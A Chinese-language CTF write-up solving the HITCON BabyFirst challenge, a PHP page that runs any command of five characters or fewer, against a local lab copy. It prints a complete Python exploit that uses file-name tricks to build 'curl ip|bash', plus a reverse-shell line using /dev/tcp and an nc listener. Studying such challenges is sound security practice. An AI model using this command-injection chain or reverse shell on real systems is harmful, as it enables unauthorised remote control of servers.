前几天做ctf交流群的入门题…然后顺着就找到了BabyFirst系列的题目,所以打算做一做。
首先,参考了https://www.jianshu.com/p/a77e956d9941
,里面也有对应HITCON
各年比赛的docker
环境,方便复现题目。
打开页面,代码很短,而且就很直白地告诉我们,这里可以有命令执行,就看能不能绕过。
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
我们允许输入的命令长度只有5,用到的基础知识有:
1. 在Linux下,使用 >A 指令,可以创建一个文件名为A的文件;
2. 使用ls >A指令,可以将ls的输出结果写入到A文件中(command >A);
3. 默认情况下,ls的输出结果是按字典序排序的,当需要以创建时间排序输出时,可以通过ls -t;
4. 在hacker端执行nc -p port -l -v, 被攻击主机执行bash -i >& /dev/tcp/ip/port 0>&1可以反弹shell.
这个题目整体的思路:
1. 将ls -t >A写入到文件B中(由于长度限制不能直接执行这条指令,所以需要将该指令写入到文件中,间接执行);
2. sh B,将curl ip|bash 写入到文件A中;
4. 执行sh A,反弹shell
以我本地的环境为例,exploit
如下:
import requests
from time import sleep
url = 'http://192.168.248.132:8083/index.php?cmd=%s'
def main():
re = requests.get('http://192.168.248.132:8083/index.php?reset=1')
payload = [
'>-t\\',
'>\>A',
'>l\\',
'>s\ \\',
'ls>B',
'ls>>B',
'>ash',
'>\|b\\',
'>2\\',
'>1:8\\',
'>8.\\',
'>24\\',
'>68.\\',
'>2.1\\',
'>19\\',
'>l\ \\',
'>cur\\',
'sh%20B',
'sh%20A']
for each in payload:
re = requests.get(url % each)
if(re.status_code != 200):
print 'Something error!'
return 0
sleep(0.1)
print 'Have done!'
if __name__ == '__main__':
main()
其中,将ls -t>A
写入到文件,是通过执行了ls>B
ls>>B
,这里是很巧妙地在B文件中凑出了我们想要的语句。如图:
当执行sh A
或 sh B
时,如果存在无法成功执行的语句,会跳过这条语句,继续向下执行。
curl 192.168.248.1:82|bash,
即将192.168.248.1:82访问返回结果以bash执行。
我的192.168.248.1:82/index.php文件中存储的内容是
bash -i >& /dev/tcp/192.168.248.1/12345 0>&1,
这样当sh A时就会执行curl指令,从而执行反弹shell指令。
之后就是在服务器上找跟flag
相关的文件,发现flag
是存放在数据库中,执行相应查询语即可得到flag
。